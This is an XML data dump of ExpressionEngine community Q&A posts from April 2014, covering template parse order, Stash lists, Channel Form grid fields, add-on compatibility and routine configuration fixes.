  <row Id="20941" PostTypeId="1" CreationDate="2014-04-02T20:08:52.870" Score="1" ViewCount="108" Body="&lt;p&gt;So I am using the loop_plus plug-in to generate dynamic variable names with each iteration of a section of the page. My code is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;portfolio_items&quot;&amp;gt;&#xA;  {exp:channel:entries channel=&quot;portfolio-section&quot; url_title=&quot;{segment_3}&quot;}&#xA;    {exp:loop_plus start=&quot;1&quot; increment=&quot;1&quot; parse=&quot;inward&quot;}&#xA; &amp;lt;div class=&quot;portfolio_item overlayed_animated_highlight portfolio_item_3 design&quot;&amp;gt;&#xA;   &amp;lt;div class=&quot;overlayed&quot;&amp;gt;&#xA;     &amp;lt;img src=&quot;{image-{index}}&quot; alt=&quot;&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;overlay&quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;    &amp;lt;a href=&quot;{image-{index}}&quot; class=&quot;fancybox&quot; data-fancybox-group=&quot;portfolio&quot;&amp;gt;&amp;lt;i class=&quot;icon-search&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;         &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;       &amp;lt;/div&amp;gt;&#xA;  {/exp:loop_plus}&#xA;     {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The resulting HTML that is returned is correct except for the EE shortcode is not parsed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;portfolio_items&quot;&amp;gt;&#xA;&#xA;&#xA;&amp;lt;div class=&quot;portfolio_item overlayed_animated_highlight portfolio_item_3 design&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;overlayed&quot;&amp;gt;&#xA;&amp;lt;img src=&quot;{image-1}&quot; alt=&quot;portf20&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;overlay&quot;&amp;gt;&#xA;   &amp;lt;p&amp;gt;&#xA;    &amp;lt;a href=&quot;{image-1}&quot; class=&quot;fancybox&quot; data-fancybox-group=&quot;portfolio&quot;&amp;gt;&amp;lt;i class=&quot;icon-search&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;   &amp;lt;/p&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA; &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I used parse=&quot;inward&quot; as suggested in this post: &lt;a href=&quot;https://stackoverflow.com/questions/16654301/expression-engine-dynamic-variable-names-slide-index-title&quot;&gt;https://stackoverflow.com/questions/16654301/expression-engine-dynamic-variable-names-slide-index-title&lt;/a&gt;. I get the feeling that the parse=&quot;inward&quot; is not performing. I've tried it without parse=&quot;inward&quot; and it returns the same results. Is there something I am missing?&lt;/p&gt;&#xA;" OwnerUserId="2927" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2016-06-17T23:41:22.710" Title="Loop_plus dynamic variable not parsing" Tags="|ee2|loop|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20942" PostTypeId="2" ParentId="20928" CreationDate="2014-04-02T20:12:23.080" Score="4" Body="&lt;p&gt;You are correct. The only thing that you will need to do is open up &lt;code&gt;system/expressionengine/config/database.php&lt;/code&gt; and change the &lt;code&gt;hostname&lt;/code&gt; &lt;code&gt;username&lt;/code&gt; &lt;code&gt;password&lt;/code&gt; and &lt;code&gt;database&lt;/code&gt; and change the settings to match your new MySQL server credentials.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-04-02T20:12:23.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20943" PostTypeId="2" ParentId="20905" CreationDate="2014-04-02T20:35:27.533" Score="1" Body="&lt;p&gt;I haven't used Bieber's add-on, but, from glancing at the docs, I believe you should use their &lt;code&gt;{language_code}&lt;/code&gt; variable to feed CE Cache's &lt;code&gt;url_prefix&lt;/code&gt; parameter (had to do something similar using Publisher on a multilingual site).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this should do it, I think... maybe:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:ce_cache:ic url_prefix=&quot;{language_code}&quot; ...}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-04-02T20:35:27.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20944" PostTypeId="2" ParentId="20897" CreationDate="2014-04-02T21:03:03.060" Score="2" Body="&lt;p&gt;This a confirmed bug, marked as &quot;fixed in upcoming release&quot;. &lt;a href=&quot;https://support.ellislab.com/bugs/detail/20149&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/20149&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-04-02T21:03:03.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20945" PostTypeId="1" CreationDate="2014-04-02T21:09:02.943" Score="1" ViewCount="117" Body="&lt;p&gt;Because we're still on EE 2.7.3, I'm using 2.2.0 of EXP:Store, and I'm running into a problem with itemised taxes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have items at 2 tax rates, 6% and 21%, separated into categories (and as luck would have it, there's only 1 6% category while there are 15+ 21% cats).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I need to itemise each item's tax in the checkout list: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;td&amp;gt;{item_tax} ({tax_percent}%)&amp;lt;/td&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Seems simple, except that while the first tag renders the correct tax, the second doesn't give the correct rate. I'm clearly missing something...&lt;/p&gt;&#xA;" OwnerUserId="175" LastActivityDate="2014-04-05T02:03:23.307" Title="Not getting the correct item tax label" Tags="|expresso-store|tags|tax|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20946" PostTypeId="1" CreationDate="2014-04-02T21:22:27.397" Score="0" ViewCount="69" Body="&lt;p&gt;Overnight a very unexpected and unexplained thing happened on my site. &lt;strong&gt;I woke up this morning to find that all entries in a Structure managed channel had been &quot;closed&quot; and therefor all structure data for those entries had been lost.&lt;/strong&gt; I was lucky I had a developer who could revive them from a backup, otherwise it could have been a disaster that would have taken hours to fix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would the Structure module itself somehow be responsible for closing all of these entries? I don't think I did anything at all in Structure around the time this would have happened, but I can't think of what else might have caused this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any other add-ons that could do something like this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a very scary and frustrating situation because I have no idea how it happened or how to prevent it from happening again. Would appreciate any advice on how I can find out the cause of this.&lt;/p&gt;&#xA;" OwnerUserId="982" LastEditorUserId="982" LastEditDate="2014-05-08T21:09:59.067" LastActivityDate="2014-12-09T15:58:57.043" Title="All entries in Structure managed channel suddently closed and lost Structure data!" Tags="|structure|status|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="20947" PostTypeId="2" ParentId="20937" CreationDate="2014-04-02T21:45:32.343" Score="0" Body="&lt;p&gt;You may be thinking of using Zoo Visitor. This has a limit parameter. In reality it is dealing with entries connected to member account and does the member deletion based on deleting the entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The limit parameter doesn't seem to work on the members list.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-04-02T21:45:32.343" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20948" PostTypeId="2" ParentId="20937" CreationDate="2014-04-02T21:50:25.407" Score="3" Body="&lt;p&gt;Try appending this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;amp;perpage=1000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-04-02T21:50:25.407" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20949" PostTypeId="2" ParentId="20941" CreationDate="2014-04-02T22:08:19.670" Score="0" Body="&lt;p&gt;It's a parse order issue. You need to wrap the &lt;code&gt;channel:entries&lt;/code&gt; tag inside the &lt;code&gt;loop_plus&lt;/code&gt; tag rather than the other way around as you current have it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That should solve the issue and get the EE tags to parse and the loop_plus tags to add their increment counter. However it wont be too efficient because it means that the channel:entries tag will be called several times. To prevent this and increase performance use the &lt;code&gt;loop_area&lt;/code&gt; tag pair to specify exactly what you want to loop. (You can use as many instances as you need within the &lt;code&gt;loop_plus&lt;/code&gt; tags. So you should end up with something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;portfolio_items&quot;&amp;gt;&#xA;    {exp:loop_plus start=&quot;1&quot; increment=&quot;1&quot; parse=&quot;inward&quot;}&#xA;        {exp:channel:entries channel=&quot;portfolio-section&quot; url_title=&quot;{segment_3}&quot;} &#xA;            &amp;lt;div class=&quot;portfolio_item overlayed_animated_highlight portfolio_item_3 design&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;overlayed&quot;&amp;gt;&#xA;                    {loop_area}&#xA;                        &amp;lt;img src=&quot;{image-{index}}&quot; alt=&quot;&quot;&amp;gt;&#xA;                    {/loop_area}&#xA;                    &amp;lt;div class=&quot;overlay&quot;&amp;gt;&#xA;                        &amp;lt;p&amp;gt;&#xA;                            {loop_area}&#xA;                                &amp;lt;a href=&quot;{image-{index}}&quot; class=&quot;fancybox&quot; data-fancybox-group=&quot;portfolio&quot;&amp;gt;&amp;lt;i class=&quot;icon-search&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;                            {/loop_area}&#xA;                        &amp;lt;/p&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        {/exp:channel:entries}&#xA;    {/exp:loop_plus}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Two &lt;code&gt;loop_area&lt;/code&gt; tags are used to add the increment counts to the EE tags and the &lt;code&gt;channel:entries&lt;/code&gt; tag is only called once so it's nice and efficient.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-04-02T22:08:19.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20951" PostTypeId="2" ParentId="20876" CreationDate="2014-04-02T22:22:59.830" Score="2" Body="&lt;p&gt;Freeform status additions are available to the Pro version in the preferences area.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-04-02T22:22:59.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20952" PostTypeId="2" ParentId="20866" CreationDate="2014-04-02T22:27:30.807" Score="1" Body="&lt;p&gt;This error is happening due to the changes in secure form handling introduced in EE 2.7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Freeform 3.1.5 is not compatible with EE 2.6+ and is no longer being developed or updated. You will need to upgrade to Freeform 4.x.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-04-02T22:27:30.807" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20953" PostTypeId="1" AcceptedAnswerId="21261" CreationDate="2014-04-02T23:03:01.240" Score="0" ViewCount="259" Body="&lt;p&gt;I'm in the process of taking things out of our codebase and into content where they belong, things like navigation and listings of categories. I really enjoy the features offered up by the &lt;a href=&quot;http://gotolow.com/addons/low-reorder&quot; rel=&quot;nofollow&quot;&gt;Low Reorder&lt;/a&gt; add-on. I use &lt;a href=&quot;http://devot-ee.com/add-ons/draggable&quot; rel=&quot;nofollow&quot;&gt;Draggable&lt;/a&gt; to manage the order of categories within a category group, but I would only need a subset of these categories. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. given a category group of:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Alpha&lt;/li&gt;&#xA;&lt;li&gt;Beta&lt;/li&gt;&#xA;&lt;li&gt;Carrot&lt;/li&gt;&#xA;&lt;li&gt;Doc&lt;/li&gt;&#xA;&lt;li&gt;Elephant&lt;/li&gt;&#xA;&lt;li&gt;Mouse&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I may just want 3 of those in a custom order in one place, 4 of them in a different order in another, but all I'd need are the category names, url_titles, and in the desired sequence. Don't need entries. Just the categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I might just go ahead and make a channel just for entries with 1:1 relation to categories (maybe along with a &lt;a href=&quot;http://devot-ee.com/add-ons/wb-category-select&quot; rel=&quot;nofollow&quot;&gt;WB Category Select&lt;/a&gt; field as the relation) and then use Low Reorder to create subsets as desired. But I really want to avoid having to essentially enter content twice and any overhead of channel:entries when all I really need is a list of category names and url_titles. I suppose a bonus would be getting to using the entry title over the category name as an option or something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could add custom fields to the category group(s), but then you wouldn't be looking at the set in front of you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before I set off to do this I figured I might as well ask the community if there is anything like Low Reorder just for categories? Or if there's an existing module, add-on, or method to do this that slip passed me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2014-05-14T16:24:11.903" Title="Is there something like Low Reorder just for Categories?" Tags="|categories|low-reorder|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20954" PostTypeId="1" CreationDate="2014-04-02T23:38:18.580" Score="0" ViewCount="65" Body="&lt;p&gt;Had 2.5.5 install. Upgraded to 2.8.1 which was a disaster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I installed 2.7.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before i upgraded I turned off the site so it's &lt;strong&gt;offline&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am unable to login to CP. I don't get an invalid login message it just reloads the login form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am in panic mode as I scramble to get access to the site.&lt;/p&gt;&#xA;" OwnerUserId="2382" LastActivityDate="2014-04-03T09:15:26.063" Title="Upgrade to 2.8.1 (fiasco) installed 2.7.3 unable to login to CP" Tags="|ee2|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20955" PostTypeId="2" ParentId="20954" CreationDate="2014-04-03T03:13:47.553" Score="0" Body="&lt;p&gt;If you're not running a config override you can edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;system&gt;expressionengine&gt;config&gt;config.php with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['is_site_on'] = 'y';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-04-03T03:13:47.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20956" PostTypeId="1" AcceptedAnswerId="20959" CreationDate="2014-04-03T05:07:25.567" Score="1" ViewCount="409" Body="&lt;p&gt;I am looking to add a grid entry to Channel Form. I can see the field in the Field Groups list, but i cannot locate the Column id for the actual entry. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;field_id_59[rows][new_row_0][]&quot; value=&quot;new_row_0&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;field_id_59[rows][new_row_0][col_id_**????**]&quot; value=&quot;&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Many Thanks&lt;/p&gt;&#xA;" OwnerUserId="2929" LastActivityDate="2014-04-03T08:55:46.007" Title="How do I find the Column ID for a Grid Entry Field in Expression Engine Channel Forms" Tags="|ee2|channel-form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20957" PostTypeId="1" AcceptedAnswerId="20970" CreationDate="2014-04-03T07:13:32.073" Score="1" ViewCount="66" Body="&lt;p&gt;I have a channel called &lt;code&gt;foo&lt;/code&gt; which is tied up to a member via &lt;a href=&quot;https://objectivehtml.com/safecracker-registration&quot; rel=&quot;nofollow&quot;&gt;Safecracker Registration&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;foo&lt;/code&gt; channel has a field for an email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When someone edits a &lt;code&gt;foo&lt;/code&gt; channel entry, I want to send an email to the owner of the channel entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there way to in the Parcels/Hooks so that the email can be sent to the user via the email field?&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2014-04-03T07:26:16.883" LastActivityDate="2014-04-03T16:59:48.970" Title="Is there a way to make Postmaster receiver email dynamic?" Tags="|postmaster|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20958" PostTypeId="1" AcceptedAnswerId="20961" CreationDate="2014-04-03T08:53:57.700" Score="0" ViewCount="44" Body="&lt;p&gt;I have a new channel (locally) about 30 fields long I want to get this into my live site. Is there a way to export and import the actual channel structure into a live site without doing a  full database dump?&lt;/p&gt;&#xA;" OwnerUserId="2616" LastActivityDate="2014-04-03T09:24:11.073" Title="exporting channel - not the data" Tags="|channel|export|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20959" PostTypeId="2" ParentId="20956" CreationDate="2014-04-03T08:55:46.007" Score="0" Body="&lt;p&gt;The easiest way to see at a glance is to just throw the whole field onto the page and then view the source. So include this in your templates:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{field:field_name}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;field_name&lt;/code&gt; is the name of your grid field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you'll be able to identify the column IDs. The code you require will end up looking something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;field_id_1[rows][new_row_0][]&quot; value=&quot;new_row_0&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;field_id_1[rows][new_row_0][col_id_1]&quot; value=&quot;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;field_id_1&lt;/code&gt; relates to the field ID of the grid field itself and &lt;code&gt;col_id_1&lt;/code&gt; will be the column ID in that grid field that you're targeting. &lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-04-03T08:55:46.007" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20960" PostTypeId="2" ParentId="20954" CreationDate="2014-04-03T09:15:26.063" Score="1" Body="&lt;p&gt;Clearing cookies in your browser should solve this problem.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2014-04-03T09:15:26.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20961" PostTypeId="2" ParentId="20958" CreationDate="2014-04-03T09:24:11.073" Score="0" Body="&lt;p&gt;The good news is that &lt;a href=&quot;http://mightybigrobot.com/products/detail/field-editor&quot; rel=&quot;nofollow&quot;&gt;Field Editor&lt;/a&gt; will handle this for you allowing you to import and export field groups along with a number of other useful editing features.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if you can currently purchase this addon however following a recent &lt;a href=&quot;http://cartthrob.com/docs/docs_support/&quot; rel=&quot;nofollow&quot;&gt;statement from MBR&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;As of Friday the 14th of March 2014, we removed from sale the&#xA;  following products:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Profile Edit&lt;br&gt;&#xA;  Field Editor&lt;br&gt;&#xA;  Affiliator&lt;br&gt;&#xA;  Champagne 2&lt;br&gt;&#xA;  Geofinder&lt;br&gt;&#xA;  Geotagger&lt;br&gt;&#xA;  CartThrob Subscriptions&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This means that CartThrob 2 is the only product we have available for&#xA;  sale at this time...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It looks like it can still be purchased however so the current status is a little unknown. Best to give it a try and see but keep the official statement in mind with regards to the purchase and support.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-04-03T09:24:11.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20962" PostTypeId="2" ParentId="20929" CreationDate="2014-04-03T09:25:12.730" Score="1" Body="&lt;p&gt;I suggest that you do not use separate entry for each slider, but have one entry with 2 custom fields:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;slider caption (text field)&lt;/li&gt;&#xA;&lt;li&gt;slide images (Matrix or Grid field)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This way, you will simply loop over Grid/Matrix field while staying in same Channel entry.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2014-04-03T09:25:12.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20963" PostTypeId="2" ParentId="20888" CreationDate="2014-04-03T09:51:17.710" Score="0" Body="&lt;p&gt;I upgraded and still had some issues. The form has to be handled over HTTPs. This is the form (without the styling) I ended up with that works on all servers:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;form method=&quot;post&quot; action=&quot;https://www.example.com/area&quot;&amp;gt;&#xA;&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;ACT&quot; value=&quot;15&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;RET&quot; value=&quot;https://www.example.com/area&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;site_id&quot; value=&quot;1&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;csrf_token&quot; value=&quot;{csrf_token}&quot;&amp;gt;&#xA;&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;username&quot; value=&quot;&quot;/&amp;gt;&#xA;            &amp;lt;input type=&quot;password&quot; name=&quot;password&quot; value=&quot;&quot;/&amp;gt;&#xA;&#xA;            &amp;lt;button type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot;/&amp;gt;Sign in&amp;lt;/button&amp;gt;&#xA;&#xA;       &amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1072" LastActivityDate="2014-04-03T09:51:17.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20964" PostTypeId="2" ParentId="20935" CreationDate="2014-04-03T12:29:57.343" Score="2" Body="&lt;p&gt;Each related product could have individual category relationships, right? So If I understand you correctly, you want the aggregate of all categories assigned to the related entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do that with &lt;a href=&quot;https://github.com/croxton/Stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;cat_accessories&quot; parse_tags=&quot;yes&quot;}&#xA;   {exp:playa:parents channel=&quot;products_accessories&quot; field=&quot;{{embed:slug}_accessories}&quot; disable=&quot;members&quot;}&#xA;      {categories}&#xA;         {stash:id}{category_id}{/stash:id}&#xA;         {stash:url}{url_title_path='products/accessories/'}{/stash:url}&#xA;         {stash:name}{category_name}{/stash:name}&#xA;      {/categories}&#xA;   {/exp:playa:parents}&#xA;{/exp:stash:set_list}&#xA;&#xA;{!-- get unique list items only --}&#xA;{exp:stash:get_list name=&quot;cat_accessories&quot; unique=&quot;yes&quot;}&#xA;   &amp;lt;div class=&quot;col-md-4&quot;&amp;gt;&#xA;       &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{url}&quot;&amp;gt;{name}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Aha, so you're url is dependent on the entry url title, not the category url title, and is therefore unique even for same categories. Is that intentional?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you change &lt;code&gt;unique=&quot;yes&quot;&lt;/code&gt; to &lt;code&gt;unique=&quot;id&quot;&lt;/code&gt; (i.e. the id column must be unique) then you'll get only unique categories, however I'm not sure what you need to do with that url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use nested lists and match/against to list out unique categories and associated products. No need to repeat your Playa loop twice:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        {exp:stash:set_list name=&quot;product_info&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;&#xA;           {exp:playa:parents channel=&quot;products_accessories&quot; sort=&quot;asc&quot; orderby=&quot;title&quot; disable=&quot;members&quot;}&#xA;&#xA;                {stash:product_url}{url_title_path='/products/accessories/'}{/stash:product_url}&#xA;                {stash:product_title}{title}{/stash:product_title}&#xA;                {stash:product_image}{if products_accessories_images}&amp;lt;div class=&quot;accessories_image&quot;&amp;gt;{products_accessories_images limit=&quot;1&quot;}&amp;lt;p&amp;gt;&amp;lt;img src=&quot;{exp:ce_img:single src='/images/uploads/products/{image}'{sn_image_product_detail_accessories}}&quot; alt=&quot;{alt}&quot; class=&quot;img-responsive text-center&quot; /&amp;gt;{/products_accessories_images}&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;{/if}{/stash:product_image}&#xA;                {stash:product_content}{if products_accessories_content}&amp;lt;p&amp;gt;{exp:eehive_hacksaw chars='175'}{products_accessories_content}{/exp:eehive_hacksaw}&amp;lt;/p&amp;gt;{/if}{/stash:product_content}&#xA;&#xA;                {!-- create an index for this product to match against --}&#xA;                {stash:categories}{categories}@{category_id}@{/categories}{/stash:categories}&#xA;&#xA;                {categories}&#xA;                    {exp:stash:append_list name=&quot;cat_accessories&quot;}&#xA;                        {stash:cat_id}{category_id}{/stash:cat_id}&#xA;                        {stash:cat_name}{category_name}{/stash:cat_name}&#xA;                    {/exp:stash:append_list}&#xA;                {/categories}&#xA;&#xA;           {/exp:playa:parents}&#xA;&#xA;        {/exp:stash:set_list}&#xA;&#xA;&#xA;        {!-- list unique categories only --}&#xA;        {exp:stash:get_list name=&quot;cat_accessories&quot; unique=&quot;cat_id&quot; orderby=&quot;cat_name&quot; sort=&quot;asc&quot;}&#xA;&#xA;            &amp;lt;h3&amp;gt;{cat_name}&amp;lt;/h3&amp;gt;&#xA;&#xA;            {!-- list products that belong to this category --}&#xA;            {exp:stash:get_list:nested name=&quot;product_info&quot; match=&quot;#@{cat_id}@#&quot; against=&quot;categories&quot; orderby=&quot;product_title&quot; sort=&quot;asc&quot;}&#xA;            &amp;lt;div class=&quot;col-md-4 accessories_listings&quot;&amp;gt;&#xA;                &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{product_url}&quot;&amp;gt;{product_title}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;                {product_image}&#xA;                {product_content}&#xA;            &amp;lt;/div&amp;gt;&#xA;            {/exp:stash:get_list:nested}&#xA;        {/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastEditorUserId="289" LastEditDate="2014-04-04T14:46:57.167" LastActivityDate="2014-04-04T14:46:57.167" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20965" PostTypeId="2" ParentId="20922" CreationDate="2014-04-03T12:43:46.283" Score="1" Body="&lt;p&gt;Since &lt;a href=&quot;https://github.com/croxton/Stash/wiki/Changelog#243&quot; rel=&quot;nofollow&quot;&gt;Stash 2.4.3&lt;/a&gt; embeds with &lt;code&gt;process=&quot;start&quot;&lt;/code&gt; are parsed by default to be consistent with the other process stages (&lt;code&gt;inline&lt;/code&gt; and &lt;code&gt;end&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add &lt;code&gt;parse=&quot;no&quot;&lt;/code&gt; to disable parsing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:embed name=&quot;snippets:productdiv-new&quot; process=&quot;start&quot; parse=&quot;no&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastActivityDate="2014-04-03T12:43:46.283" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
